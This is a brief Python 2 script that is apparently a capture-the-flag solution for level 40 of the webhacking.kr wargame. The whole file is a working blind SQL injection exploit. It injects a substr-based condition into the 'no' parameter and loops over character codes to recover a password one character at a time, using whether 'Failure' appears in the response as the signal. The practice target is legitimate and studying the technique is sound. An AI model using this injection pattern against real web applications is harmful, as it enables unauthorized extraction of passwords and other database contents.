webhacking.kr_40

from urllib2 import *
import time

session = ""
url = "http://webhacking.kr/challenge/web/web-29/index.php"
l = list()
for y in xrange(1,11):
    for x in xrange(0x20,0x7e):
        req = Request(url+"?no=9||substr(pw,"+str(y)+",1)%3d"+str(hex(x))+"&id=z&pw=z")
        req.add_header("Cookie", "PHPSESSID="+session)
        if urlopen(req).read().find("Failure") == -1:
            l.append(chr(x))
            print hex(x)
        time.sleep(0.1)
    print ''.join(l)
    l = []